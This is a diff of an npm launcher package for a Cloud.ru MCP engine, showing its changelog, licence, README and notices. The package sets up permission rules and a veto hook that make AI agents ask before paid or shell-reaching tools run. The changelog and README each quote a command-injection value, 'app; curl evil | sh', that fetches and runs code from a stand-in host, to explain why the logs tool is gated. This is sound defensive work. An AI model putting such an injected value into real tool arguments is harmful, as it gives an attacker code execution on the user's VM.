@dzhechkov/cloudru-hub 0.1.4

package/.dz-manifest.json

@@ -0,0 +1,105 @@
+{
+  "manifest": {
+    "version": 1,
+    "pack": "cloudru-hub",
+    "files": [
+      {
+        "path": "CHANGELOG.md",
+        "sha256": "106646f93a18c0335ff739c61df9432b9a79b743b53941f15e9bcc64b35504a4"
+      },
+      {
+        "path": "LICENSE",
+        "sha256": "68da42b10dcc095cdfd7249557cee30285664e5dea00dc85475ff047d975616a"
+      },
+      {
+        "path": "README.md",
+        "sha256": "38e29682c26399d930823f68ff35febfc2e0045e3912e1665ed071c9b73c084c"
+      },
+      {
+        "path": "THIRD_PARTY_NOTICES.md",
+        "sha256": "109cffdaaf9402e88f6cc35a0497ba49db015b329fce87ba20762f34dc95c051"
+      },
+      {
+        "path": "bin/cloudru-hub.js",
+        "sha256": "fcdb6806036feff444611483f4216477c83bc53d28ebca4736370c671f7f72db"
+      },
+      {
+        "path": "data/dialects.json",
+        "sha256": "8007dd5da843074d497617bdf3709cc3dc516a138171781b5ef0aa3ff596fa4d"
+      },
+      {
+        "path": "data/pointer-section.md",
+        "sha256": "6f4557d97b90936ef153dc90eac4bdceb6846b6d08d8aec45c86baac328cca60"
+      },
+      {
+        "path": "data/tools-classification.json",
+        "sha256": "13d6a3e87d767d0015f6b2af0223633fa99e49c69c9a8adcec8f6fce6e46d36e"
+      },
+      {
+        "path": "data/tools-list-snapshot.json",
+        "sha256": "56221fa8170f2b32ab6d3a907261badc07695f47ae9ac4adca4e43d2ea5ee06f"
+      },
+      {
+        "path": "docs/LOCAL-TESTING.md",
+        "sha256": "092142c00295c54866330f2159a13284d04e2f35a749b32dff0ca4f2ab28ea54"
+      },
+      {
+        "path": "package.json",
+        "sha256": "24333e792a9cbdbc5d23f10d47969f3d3e984a2acc000c903b4003ffcf42d02f"
+      },
+      {
+        "path": "src/classification.js",
+        "sha256": "8c1096273d2a2c9c6336c476096cb1e064184c6876d5466470fb69705ba3f265"
+      },
+      {
+        "path": "src/cli.js",
+        "sha256": "db981ad0078c80ba7a859057638a2576d7f02d87ca2891f8083a92a8147742dd"
+      },
+      {
+        "path": "src/dialects.js",
+        "sha256": "a826cea19ff38e24ad7fd36c6ec85a51e2cd1d985d1fa92941f77bcf353db1de"
+      },
+      {
+        "path": "src/install.js",
+        "sha256": "5d087b289aaf8cd2e1b4cffbd2227eb3bdc7264cddc0877561e08bc0ea6d6fd2"
+      },
+      {
+        "path": "src/resolve.js",
+        "sha256": "5cbd0861c2973fab62271269b10f748b9638e74f40e8ea034f78ac63bed58001"
+      },
+      {
+        "path": "templates/.claude/hooks/cloudru-ssh-guard.cjs",
+        "sha256": "ad8c4ea89b28a366fa72e3507dbef9f774f4f2777e6bd2289a429329ab94cc0c"
+      },
+      {
+        "path": "test/classification.test.mjs",
+        "sha256": "25290e9a8715d13670d617e23cb47c4c2d71b1506a8d98e5b682733b626a18b8"
+      },
+      {
+        "path": "test/dialects.test.mjs",
+        "sha256": "9b83b2e2cbbee4ead33af61db840833ce4aa2dd0cf5a4448d72d5886098639c6"
+      },
+      {
+        "path": "test/hook.test.mjs",
+        "sha256": "d53b58e853b6a37342a3a0fade782bced6283ea2ec376e2ac954b23f9ec68c17"
+      },
+      {
+        "path": "test/install.test.mjs",
+        "sha256": "e986b29346672bf75b384ab6d8657265b8ecb8f62df6563dca317c1fc63fc8fc"
+      },
+      {
+        "path": "test/mutation-registry.json",
+        "sha256": "23baf0c1c20afc5bbbfcd72ae9c553ce8a774c25328609e33f43e11cf4ca5581"
+      },
+      {
+        "path": "test/pack-holds.test.mjs",
+        "sha256": "a083ff619f1d97b3e0e1b95dec6e98b56c4296da5171e2eb41c713dd983c8d69"
+      },
+      {
+        "path": "test/resolve.test.mjs",
+        "sha256": "6b524f69c5ed03aaafab67e734e58092033423b86feade28ad03f516feba2380"
+      }
+    ]
+  },
+  "signature": "jfciH34h4f/SUaAlkeRh4BOQVIFbmJDJv7cewtiBSApv1V/xTPTyUvoEsN0eYyz5w9Y9KrwFjh5dKLp4AQnqDA=="
+}

package/CHANGELOG.md

@@ -0,0 +1,130 @@
+# Changelog — @dzhechkov/cloudru-hub
+
+## 0.1.4 — 2026-08-12 (FIRST PUBLICATION — ADR-001 hold satisfied, AM-2)
+
+- **The licence hold is SATISFIED and the pack is published.** Тимур — the author of the
+  Hermes engine additions (built on the owner's original Go CLI foundation, ADR-001
+  AM-1) — approved publication; owner-reported 2026-08-12, recorded in
+  `features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md` (linked from the
+  LICENSE `Grant-Confirmation:` line). Honesty: the approval is owner-attested; archiving
+  the author's written confirmation is a recorded owner follow-up. No licence is
+  fabricated on the author's behalf: the pack still ships ZERO engine-addition bytes,
+  `license: MIT` covers only the owner's code, and LICENSE Part 2 explicitly grants no
+  third-party rights to the engine additions.
+- Hold mechanics flipped legitimately, not cosmetically: `private:true` and the PENDING
+  placeholder removed; the `licenseHold` trigger field deliberately KEPT (per the
+  `dz guard` `licence-hold` rule design a satisfied hold passes with the trigger in
+  place, so the rule keeps verifying LICENSE/NOTICES/SPDX on every future publish).
+- Hold-era pack tests replaced by post-grant invariants: honest grant wording
+  (owner-attested, no fabricated grant deed), Grant-Confirmation URL present, author
+  attribution by name, licenseHold-stays-declared, SPDX-matches-LICENSE (the ADR-001
+  Confirmation test), publishable-state. Mutation registry entries updated in kind
+  (`licence-publishable-state-asserted`, `licence-spdx-matches-license-file`;
+  the LICENSE file itself is not gate-mutable — extensionless, no parser — so the
+  Grant-Confirmation content is covered by the pack tests + the guard rule directly).
+  Suite 71 → 70 tests (the npm-layer EPRIVATE probe retired with `private:true`);
+  mutation gate 13/13 PROVEN (MEASURED — 2026-08-12).
+- NOT in this release: the binary-carrying platform package
+  `@dzhechkov/cloudru-vm-linux-x64` (ADR-002 trusted-CI build + go-licenses
+  reconciliation still required before its first publication).
+
+## 0.1.3 — 2026-08-10 (still HELD unpublished — ADR-001; Variant A binary-name leak scrubs)
+
+- **LOW, dialect compiler — the engine binary name `cloudru-vm` handled by targeted leak-form
+  SCRUBS, deliberately NOT by the codename net.** The bare token is ALSO the legitimate MCP
+  server name that MUST appear in output — PROVEN before coding: `\bcloudru-vm\b` matches the
+  compiler's OWN injected tool_search prose `сервера cloudru-vm видны` (over-block), and
+  `mcp__cloudru-vm__` is spared only because `_` is a word char. So `forbiddenCodenames` is
+  unchanged; instead both targets (claude-code, codex) gain two ordered replacements placed
+  AFTER the longer `cloudru-vm-cli` scrub: (1) dotted config path `\.cloudru-vm(?![\w-])` →
+  `.cloudru-hub` (lookahead spares `.cloudru-vm-cli`); (2) CLI invocation
+  `\bcloudru-vm[ \t]+(?=(?:deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor)\b)`
+  → `cloudru-hub ` — the verb alternation is the engine's REAL cobra command set, cited from
+  the baseline `engine/cmd/cloudru-vm/main.go` AddCommand block (lines 53-65); `[ \t]+` (not
+  `\s+`) so a line break is never joined, whole-word verbs so `cloudru-vm deployment` and
+  Russian prose stay untouched. RED-before/GREEN-after pinned in tests (0.1.2 shipped
+  `~/.cloudru-vm/config` and `cloudru-vm deploy` INTACT with ok=true — MEASURED); over-block
+  guard test proves the MCP server prose + `mcp__cloudru-vm__stack_status` compile CLEAN and
+  unrewritten; a verb-set test pins the alternation to the engine command set. Two mutation
+  entries (`dialect-binary-path-leak-scrubbed`, `dialect-binary-invocation-leak-scrubbed`)
+  keep each scrub RED when disarmed. Suite 66 → 71 tests; mutation gate 11 → 13 PROVEN.
+
+## 0.1.2 — 2026-08-10 (still HELD unpublished — ADR-001; closes 2 re-QE residuals)
+
+- **HIGH, ADR-004 AM-2 — `logs` reclassified allow→ask; the classification method gains a
+  SECOND hazard axis (reaching a remote shell with a user-controlled argument).** The AM-1
+  re-audit checked only "advances a job / spends money / returns a secret"; it did NOT
+  check whether a tool passes a user arg into a remote shell. `logs` (classified `allow`)
+  does — VERIFIED against the pinned baseline: `handleLogs` (`tools.go:1758`) passes the
+  user `service` arg to `engine.Logs`, which concatenates it RAW into
+  `cmd += " " + opts.Service` (`engine/logs.go:61`) → `Deployer.Exec` (`logs.go:64`) → SSH
+  `session.CombinedOutput` (`internal/deploy/ssh.go:117`). So `service="app; curl evil | sh"`
+  is arbitrary RCE on the user's VM behind a silent `allow`. Re-audited ALL 78 allow tools
+  against the new axis: `logs` is the ONLY shell-reaching allow tool (every other shell
+  site — `vm_exec`, `deploy`, `deploy_apply`/captainkeys, `k8s_kubectl`/`k8s_apply`/`k8s_helm`
+  — is already `ask`). New golden split: 65 ask / 2 deny / 77 allow. Invariant pinned
+  layer-1: `logs===ask` test, method-doc-documents-shell-reach test, no-allow-admits-shell-reach
+  test, mutation-registry entry `brake-logs-stays-ask`. Engine injection flagged to the
+  author (ADR-004 AM-2; licence-blocked, not fixed here).
+- **LOW, dialect compiler — codename allowlist expanded to the full engine identity.**
+  `forbiddenCodenames` covered only `hermes`; the tokens `dzhechko` (go-module owner),
+  `cloudru-vm-cli` (CLI name), and `captainkeys` (`captainkeys.go`) compiled CLEAN
+  (VERIFIED). Now all four are gated, case-insensitive, with WORD-BOUNDARY matching (not
+  substring): necessary because a raw `dzhechko` substring over-blocks the legitimately
+  published scope `@dzhechkov` (= `dzhechko`+`v`), and word boundaries also drop harmless
+  `thermes`-class false positives without weakening the net against any observed real leak
+  shape (`~/.hermes/`, `hermes-agent`, prose "Hermes", Cyrillic-suffixed `hermesовский`).
+  Each identity token gets a scrub replacement (go-module path → published package name);
+  the real corpus still compiles with 0 survivors on both targets (MEASURED). Mutation
+  entry `dialect-codename-gate-armed` updated for the expanded list, stays RED when emptied.
+- Tests 58 → 66 (MEASURED — `node --test 'test/*.test.mjs'`); mutation gate 10/10 → 11/11
+  PROVEN (MEASURED — `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`).
+
+## 0.1.1 — 2026-08-10 (still HELD unpublished — ADR-001; closes 2 cross-model QE findings)
+
+- **HIGH (false-safe), ADR-004 AM-1 — `stack_status` reclassified allow→ask, and the
+  classification METHOD corrected.** `handleStackStatus` (`tools_stack.go:451`) advances
+  planned/running jobs (`:479-484` → `advance` → `s.callTool` `:220`), invoking the paid
+  create tools with no confirmation — LIVE-REPRODUCED against the pinned baseline: one
+  `stack_status` call moved a planned job `planned→running` and attempted `provision`
+  twice (stopped only at AUTH_REQUIRED), so the fully-allow chain
+  `stack_plan→stack_status` defeated the brake with zero prompts. All 79 former allow
+  tools re-audited against actual engine handler BEHAVIOUR (not schema shape); 78
+  confirmed genuinely read-only (each entry's `why` now cites the handler file:line),
+  `stack_plan`/`deploy_plan` verified to create nothing (LOCAL plan file only). New
+  golden split: 64 ask / 2 deny / 78 allow. Invariant pinned layer-1: `stack_status===ask`
+  test, allow-requires-behaviour-audit test, mutation-registry entry
+  `brake-stack-status-stays-ask`.
+- **MEDIUM, dialect compiler — positive codename invariant.** The 8-token denylist let
+  the bare codename and the `~/.hermes/` path through (real-corpus compile returned
+  `ok=true` with 5 case-insensitive survivors — MEASURED). `compileSkill` now hard-fails
+  on ANY case-insensitive codename occurrence in ANY emitted file
+  (`data/dialects.json.forbiddenCodenames`), with scrub replacements for the observed
+  leak shapes (`~/.hermes/` path, `hermes-agent` example name, 2 prose mentions); the
+  real corpus now compiles with 0 survivors on both targets (MEASURED). Mutation-registry
+  entry `dialect-codename-gate-armed`.
+- Tests 52 → 58 (MEASURED — `node --test 'test/*.test.mjs'`); mutation gate 8/8 → 10/10
+  PROVEN (MEASURED — `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`).
+
+## 0.1.0 — 2026-08-10 (prepared, HELD unpublished — ADR-001)
+
+Initial build of the npm launcher for the `cloudru-vm` MCP engine, per
+`features/hermes-claude-adaptation/` ADR-001/002/004/005/006/010.
+
+- Launcher with runtime engine resolution (env → config → optional platform package),
+  sha256 pin verification against the 0.2.3-20260718 baseline; `resolve`, `self-test`,
+  `mcp`, `install`, `compile-skill` commands.
+- ADR-004 brake: golden classification of all 144 engine tools (63 ask / 2 deny /
+  79 allow — MEASURED, `data/tools-classification.json`), permission-rule emission in
+  both mcp__ prefix spellings, PreToolUse ssh-guard + kubectl-rollout veto with an
+  EXECUTED install-time probe.
+- ADR-005 tiering: claude-code full / codex plan-only / degraded refused /
+  agents-md+gemini pointer-only (≤2048 chars, mandatory no-veto warning).
+- ADR-006 dialect compiler: config-driven target variants, forbidden-token hard gate,
+  dangling-link unlinking, 12 000-char lossy router cap, byte-deterministic.
+- Publish hold armed three ways: `private:true` (npm layer), the `dz guard`
+  `licence-hold` HARD rule (harness-core), and mutation-gate entries 8/8 PROVEN
+  (MEASURED — `dz mutation-gate --package packages/@dzhechkov/cloudru-hub`, 2026-08-10).
+- 52 tests (MEASURED — `node --test 'test/*.test.mjs'`, 52/52 pass, 2026-08-10).
+- NOT published: LICENSE Part 2 carries the pending-grant placeholder; see README
+  "Post-grant publish checklist".

package/LICENSE

@@ -0,0 +1,67 @@
+# LICENSE — @dzhechkov/cloudru-hub
+
+This file has two parts because the shipped work has two provenances. Part 1 covers every
+byte actually contained in this npm package. Part 2 records the licensing status of the
+Hermes engine additions, which this package deliberately does NOT contain.
+
+---
+
+## Part 1 — Code contained in this package (launcher, target adapters, installer, tests)
+##          and the original Go CLI foundation
+
+MIT License
+
+Copyright (c) 2026 Dmitry Zhechkov
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+Authorship note (ADR-001 amendment AM-1, recorded 2026-08-09): the original Go CLI
+foundation on which the Hermes engine builds (cli.go / internal/cli) was authored by
+Dmitry Zhechkov, the owner of this repository. The Hermes engine is a DERIVATIVE work
+built on that foundation. This note states the owner's own authorship as fact; it does
+NOT assert, imply, or substitute for any grant by the Hermes engine author.
+
+---
+
+## Part 2 — The Hermes engine additions (the ~144-tool MCP layer) — NOT in this package
+
+This package contains ZERO bytes of the Hermes engine additions: no engine binary, no
+engine Go sources, no engine skill corpus. The engine binary is located at RUNTIME
+(environment variable / config path / a future platform package) and is never bundled
+here. See ADR-002 (distribution form) and the package README.
+
+Redistribution status of the engine additions (the Hermes author's contribution on top
+of the owner's CLI foundation):
+
+GRANT RECORDED (ADR-001 AM-2, exit 2 — 2026-08-12): Тимур, the author of the Hermes
+engine additions (the ~144-tool MCP layer built on the owner's original Go CLI
+foundation), approved publication of this package, as reported by the repository owner
+(Dmitry Zhechkov) on 2026-08-12. The approval is owner-attested; archiving the author's
+written confirmation is a recorded owner follow-up (see the grant record linked below).
+Per the owner's standing attribution condition, publication carries authorship credit:
+the Hermes engine additions are the work of Тимур; the original Go CLI foundation and
+every byte contained in this package are the work of Dmitry Zhechkov (Part 1).
+
+The author did not designate a licence text for the engine additions themselves.
+Accordingly: this package continues to ship ZERO bytes of the engine additions, the MIT
+licence in Part 1 covers ONLY the owner's code, and nothing in this file grants any
+third party rights to the engine additions — their use remains governed by their
+author's own terms.
+
+Grant-Confirmation: https://github.com/djd1m/dz-harness-hub/blob/main/features/hermes-claude-adaptation/03_adr/grant-record-2026-08-12.md

package/README.md

@@ -0,0 +1,131 @@
+# @dzhechkov/cloudru-hub
+
+> **STATUS: published — the ADR-001 licence hold is SATISFIED (AM-2, 2026-08-12).**
+> Тимур, the author of the Hermes engine additions, approved publication (owner-reported
+> 2026-08-12 — the grant record is linked from the `Grant-Confirmation:` line in LICENSE
+> Part 2; archiving the author's written confirmation is a recorded owner follow-up).
+> The `dz guard` `licence-hold` rule stays armed and keeps verifying
+> LICENSE/THIRD_PARTY_NOTICES/SPDX on every publish — a satisfied hold passes with the
+> trigger in place.
+
+> **Unofficial. NOT affiliated with, endorsed, or supported by Cloud.ru.** "Cloud.ru" is a
+> trademark of its owner; this launcher merely talks to the public Cloud.ru Evolution API
+> through the `cloudru-vm` engine.
+
+Thin JS launcher for the **`cloudru-vm` MCP engine** — a Go MCP server with **144 tools**
+(MEASURED — live `tools/list` probe, `data/tools-list-snapshot.json`) for Cloud.ru
+Evolution: VMs, k8s, PostgreSQL/Kafka/Redis, DNS, S3, certificates, billing/FinOps, and a
+docker-compose deploy wizard.
+
+## Attribution
+
+- **CLI foundation and everything in this package** (launcher, adapters, installer,
+  tests): **Dmitry Zhechkov** (MIT — LICENSE Part 1). Per ADR-001 AM-1 the original Go
+  CLI on which the engine builds is the owner's work; the Hermes engine is a derivative
+  of it.
+- **Hermes engine additions** (the ~144-tool MCP layer): **Тимур**, the Hermes author.
+  **Zero bytes of those additions ship in this package** — no binary, no Go sources, no
+  skill corpus. Publication of this package was approved by the author (grant recorded
+  2026-08-12 — LICENSE Part 2, `Grant-Confirmation:` link). The author designated no
+  licence text for the engine additions themselves; nothing here grants third parties
+  rights to them.
+
+## What ships here (our code only — ADR-002)
+
+| Piece | Where | What it does |
+|---|---|---|
+| Launcher | `bin/cloudru-hub.js` | resolves the engine binary at **runtime** (never bundled): `$CLOUDRU_VM_BIN` → `~/.cloudru-hub/config.json` `enginePath` → optional platform package `@dzhechkov/cloudru-vm-linux-x64` (exists only post-grant); verifies sha256 against the pin in `package.json.cloudruHub.binaryHashes` |
+| Paid-step brake (ADR-004) | `src/install.js`, `templates/.claude/hooks/` | emits `permissions` **ask** rules for every mutating-or-shell-reaching tool (65 tools — MEASURED, `data/tools-classification.json` counts), **deny** for `secret_value`/`cert_private_key`, **allow** for 77 behaviour-audited read-only tools, in BOTH `mcp__cloudru-vm__`/`mcp__cloudru_vm__` spellings (prefix normalization not yet live-probed), plus a PreToolUse veto hook (ssh-guard + the kubectl `rollout` hole) — and **executes** the veto probe before declaring install success |
+| Target tiering (ADR-005) | `src/install.js` | claude-code = full install; codex = plan-only (delivery requires an executed veto probe); openclaude/opencode/cursor/windsurf/copilot = **refused** (DEGRADED until live probe); agents-md/gemini = pointer-only ≤2048 chars with a mandatory no-veto warning |
+| Skill dialect compiler (ADR-006) | `src/dialects.js`, `data/dialects.json` | generates per-target variants of the canonical skill tree (which is NOT shipped — point `--canonical` at an engine distribution); hard-fails if any Hermes-dialect token survives AND if the engine codename survives in any case in any emitted file (positive invariant, not just the enumerated denylist); unlinks dangling links; enforces the 12 000-char router cap on lossy layouts; byte-deterministic |
+| Golden classification | `data/tools-classification.json` | every engine tool → allow/ask/deny; `allow` requires a BEHAVIOUR audit of the tool's engine handler (read-only proven at the pinned baseline, engine file:line cited per entry — schema shape alone is never sufficient: the `confirmed`-prop heuristic mis-filed `stack_status`, which advances jobs and invokes paid create tools); a live tool unknown to it is a drift finding (deny-by-default) |
+
+## Usage
+
+```bash
+cloudru-hub resolve                 # where is the engine, which sha256, is it the pinned baseline
+cloudru-hub self-test               # resolve → sha256 → engine version → live tools/list → coverage
+cloudru-hub mcp                     # run the engine as an MCP stdio server (what .mcp.json points at)
+cloudru-hub install --target claude-code   # emit .mcp.json + permission brake + veto hook, PROBE the veto
+cloudru-hub install --target agents-md     # pointer-only section (no tools, no fake support)
+cloudru-hub compile-skill --canonical <engine>/skill/cloudru-hub --target claude-code --out ./skill-out
+```
+
+## Local testing (works now, no publish)
+
+```bash
+export CLOUDRU_VM_BIN=/path/to/engine-build/cloudru-vm   # e.g. the pinned 0.2.3-20260718 baseline
+node bin/cloudru-hub.js self-test
+```
+
+Expected: 5 green steps ending `self-test: ALL GREEN` (resolution, sha256 match against
+the pinned baseline `59f83fc0…c05124`, engine version, 144 live tools, full
+classification coverage). Full walkthrough incl. `npm link` and MCP registration:
+[`docs/LOCAL-TESTING.md`](docs/LOCAL-TESTING.md).
+
+## Safety properties (all layer-1, discrimination-proven)
+
+Every named property has a mutation-gate entry (`test/mutation-registry.json`, run
+`dz mutation-gate --package packages/@dzhechkov/cloudru-hub`) that deletes the protection
+and requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08-12):
+
+1. **The licence gate stays armed post-grant** — the `licenseHold` trigger field
+   deliberately STAYS in package.json, so the `dz guard` `licence-hold` HARD rule keeps
+   verifying LICENSE (grant record + `Grant-Confirmation:` URL, no PENDING placeholder),
+   THIRD_PARTY_NOTICES and the SPDX field on every publish; pack tests additionally pin
+   the honest grant wording (owner-attested, no fabricated grant deed), the SPDX-matches-
+   LICENSE invariant (ADR-001 Confirmation) and the publishable state.
+2. **Zero upstream engine bytes** — explicit `files[]` whitelist + a test that walks the
+   `npm pack --dry-run` file list rejecting ELF magic, `.go` sources and engine paths.
+3. **The paid-step brake vetoes** — acid fixtures run the emitted hook (`sshpass` → exit 2,
+   keyed ssh → 0, `rollout restart` → 2, `rollout status` → 0); the installer refuses to
+   report success unless the executed probe blocks.
+4. **`stack_status` stays ask** (ADR-004 AM-1) — it ADVANCES planned/running stack jobs
+   server-side, invoking the paid create tools (`tools_stack.go:479` → `advance` →
+   `s.callTool` `:220`; LIVE-REPRODUCED: one call moved a planned job to `running` and
+   attempted `provision`). Flipping it back to allow re-opens the zero-prompt paid chain
+   `stack_plan→stack_status` and goes RED.
+5. **`logs` stays ask** (ADR-004 AM-2) — it concatenates its user-controlled `service`
+   arg RAW into a remote `docker compose logs <service>` run over SSH (`tools.go:1758` →
+   `engine/logs.go:61` `cmd += " " + opts.Service` → `Deployer.Exec` → `session.CombinedOutput`
+   `internal/deploy/ssh.go:117`), so `service="app; curl evil | sh"` is arbitrary RCE on the
+   user's VM. Flipping it back to allow puts that command-injection path behind a silent
+   allow and goes RED. (Engine injection flagged to the author — the classifier can only
+   prompt, it cannot escape the arg.)
+6. **The dialect codename gate is armed** — emptying `forbiddenCodenames` (the positive
+   case-insensitive, word-boundary net under the 8-token denylist) goes RED; the denylist
+   alone let the bare codename survive 5× in the real-corpus compile (MEASURED). The gate
+   covers the full engine identity — `hermes`, `dzhechko` (go-module owner), `cloudru-vm-cli`,
+   `captainkeys` — with word-boundary matching so the published scope `@dzhechkov` is not
+   over-blocked.
+7. **The engine binary-name leak forms are scrubbed, not codename-gated** (0.1.4) — the
+   bare token `cloudru-vm` is ALSO the legitimate MCP server name that must appear in
+   output (`\bcloudru-vm\b` over-blocks the compiler's own injected prose `сервера
+   cloudru-vm видны` — PROVEN), so instead the two unambiguous leak FORMS get targeted
+   replacements in every target: dotted path `.cloudru-vm` → `.cloudru-hub`, and CLI
+   invocation `cloudru-vm <verb>` → `cloudru-hub <verb>` for the engine's real cobra
+   command set only (`deploy|status|logs|destroy|verify|init|version|list-zones|
+   list-images|mcp|doctor`, cited from the baseline `cmd/cloudru-vm/main.go`). Disarming
+   either scrub goes RED (`dialect-binary-path-leak-scrubbed`,
+   `dialect-binary-invocation-leak-scrubbed`).
+
+## Post-grant publish checklist (executed 2026-08-12)
+
+1. ✅ Grant recorded (ADR-001 AM-2, exit 2): LICENSE Part 2 placeholder replaced with the
+   owner-attested grant record + `Grant-Confirmation:` link, `"license": "MIT"` (owner
+   code only), `private` removed, `licenseHold` trigger deliberately KEPT armed.
+   Open owner follow-up: archive the author's written confirmation in the grant record.
+2. ✅ `dz guard check --op publish` passes (the licence-hold rule verifies all of it).
+3. ⏳ NOT YET: the platform package `@dzhechkov/cloudru-vm-linux-x64` (the binary-carrying
+   channel) still requires the ADR-002 trusted-CI build (`-trimpath`, sha256 must equal
+   `cloudruHub.binaryHashes['linux-x64']`) + the go-licenses reconciliation in
+   THIRD_PARTY_NOTICES before ITS first publication. Until then the engine binary is
+   supplied via `$CLOUDRU_VM_BIN` or `~/.cloudru-hub/config.json` (see *Local testing*).
+4. ✅ Published via the repo's standard release flow.
+
+## Tests
+
+`npm test` — 70 tests, 70 passing (MEASURED — `node --test 'test/*.test.mjs'`, 2026-08-12;
+node:test, zero deps). Suite includes the tarball-content gate,
+the post-grant licence gates, the brake acid tests, installer tiering, and dialect
+compilation.

package/THIRD_PARTY_NOTICES.md

@@ -0,0 +1,56 @@
+# THIRD PARTY NOTICES — @dzhechkov/cloudru-hub
+
+This npm package itself contains no third-party code (its launcher, adapters, installer
+and tests are original work — see LICENSE Part 1, MIT).
+
+This file exists because of ADR-001 point 4: the `cloudru-vm` engine binary that the
+launcher RESOLVES AT RUNTIME (and that a future `@dzhechkov/cloudru-vm-linux-x64`
+platform package would carry, post-grant) is a statically linked Go executable that
+embeds the following third-party modules (source of record: `engine/go.mod` in the
+pinned baseline `hermes-engine-src-20260718.tgz`, sha256
+`007e7cbe851d3ecd78f457f81ae3679904b2fd4dac660a0e349dabcde61bbe5c` — see
+`features/hermes-claude-adaptation/evidence/ENGINE-BASELINE.json`).
+
+## Direct dependencies (engine/go.mod, require block 1)
+
+| Module | Version | License |
+|---|---|---|
+| github.com/minio/minio-go/v7 | v7.2.1 | Apache-2.0 |
+| github.com/spf13/cobra | v1.10.2 | Apache-2.0 |
+| golang.org/x/crypto | v0.51.0 | BSD-3-Clause |
+| golang.org/x/term | v0.43.0 | BSD-3-Clause |
+| gopkg.in/yaml.v3 | v3.0.1 | Apache-2.0 (parser core: MIT — see its LICENSE) |
+
+## Indirect dependencies (engine/go.mod, require block 2)
+
+github.com/cespare/xxhash/v2 (MIT), github.com/dustin/go-humanize (MIT),
+github.com/google/uuid (BSD-3-Clause), github.com/inconshreveable/mousetrap (Apache-2.0),
+github.com/klauspost/compress (Apache-2.0 / BSD-3-Clause / MIT — mixed, see its LICENSE),
+github.com/klauspost/cpuid/v2 (MIT), github.com/klauspost/crc32 (Apache-2.0),
+github.com/minio/crc64nvme (Apache-2.0), github.com/minio/md5-simd (Apache-2.0),
+github.com/philhofer/fwd (MIT), github.com/rs/xid (MIT), github.com/spf13/pflag
+(BSD-3-Clause), github.com/tinylib/msgp (MIT), github.com/zeebo/xxh3 (BSD-2-Clause),
+go.yaml.in/yaml/v3 (Apache-2.0/MIT), golang.org/x/net (BSD-3-Clause), golang.org/x/sys
+(BSD-3-Clause), golang.org/x/text (BSD-3-Clause), gopkg.in/ini.v1 (Apache-2.0).
+
+## Apache-2.0 NOTICE preservation
+
+Apache License 2.0 §4(d) requires redistribution to preserve NOTICE file contents of the
+covered works. Of the modules above, MinIO ships a NOTICE file; its contents are
+preserved here:
+
+> MinIO Project, (C) 2015-2023 MinIO, Inc.
+>
+> This product includes software developed at MinIO, Inc.
+> (https://min.io/).
+
+The Go standard library linked into the binary is BSD-3-Clause, Copyright (c) 2009
+The Go Authors.
+
+## Verification TODO (pre-publication of any binary-carrying channel)
+
+Before the FIRST publication of a channel that actually carries the binary (the platform
+package or GitHub Releases), regenerate the authoritative per-module license inventory in
+trusted CI with `go-licenses report ./...` (or `cyclonedx-gomod`) against the exact
+commit being built, and reconcile it with this file. This hand-written table is faithful
+to `go.mod` of the pinned baseline but is not a substitute for the generated report.

package/bin/cloudru-hub.js

@@ -0,0 +1,8 @@
+#!/usr/bin/env node
+
+'use strict';
+
+const { main } = require('../src/cli.js');
+
+const rc = main(process.argv.slice(2));
+if (rc !== null) process.exitCode = rc;

package/data/dialects.json

@@ -0,0 +1,73 @@
+{
+  "$comment": "ADR-006 dialect table — ONE config, variants are GENERATED, hand forks are forbidden. `replacements` are applied in order to every .md of the canonical tree; afterwards the compiler REQUIRES that no forbiddenHermesTokens survive (a variant that still speaks Hermes dialect actively lies on the target and is never emitted) AND that no forbiddenCodenames occurrence survives (case-insensitive, WORD-BOUNDARY) in ANY emitted file (positive invariant, 2026-08-10 — the enumerated denylist alone let the bare codename through 5x, MEASURED). forbiddenCodenames covers the FULL engine identity (AM-2 2026-08-10): `hermes` + the go-module owner `dzhechko` + the CLI name `cloudru-vm-cli` (github.com/dzhechko/cloudru-vm-cli) + `captainkeys` (captainkeys.go). Matching is WORD-BOUNDARY, not substring: a raw `dzhechko` substring over-blocks the legitimately-published scope `@dzhechkov` (= dzhechko + v); \\b…\\b matches the standalone engine handle but not `@dzhechkov`, and also drops false positives like `thermes` while still catching `~/.hermes`, `hermes-agent` and Cyrillic-suffixed `hermesовский` (\\b treats `.`/`-`/`/`/Cyrillic as non-word). Over-block on the maintainer's controlled corpus is acceptable (loud, build-time, never ships); the residual all-Latin-embedded gap (`hermesbot`) is unobserved. Each identity token has a scrub replacement below where it legitimately appears (go-module path → published package name). The bare engine binary name `cloudru-vm` is DELIBERATELY NOT in forbiddenCodenames (0.1.3): it is ALSO the legitimate MCP server name that MUST appear in output — PROVEN: \\bcloudru-vm\\b matches the compiler's own injected tool_search prose `сервера cloudru-vm видны`, and `mcp__cloudru-vm__` is spared only because `_` is a word char. Instead the two UNAMBIGUOUS leak FORMS get targeted scrubs (ordered AFTER the longer `cloudru-vm-cli` scrub so it is never mis-split): (1) config-dir/dotted path `\\.cloudru-vm(?![\\w-])` → `.cloudru-hub` (lookahead spares `.cloudru-vm-cli`; no dot precedes the mcp__ id); (2) CLI invocation `cloudru-vm <verb>` → `cloudru-hub <verb>` for the engine's FINITE real verb set only (deploy|status|logs|destroy|verify|init|version|list-zones|list-images|mcp|doctor — cited from engine 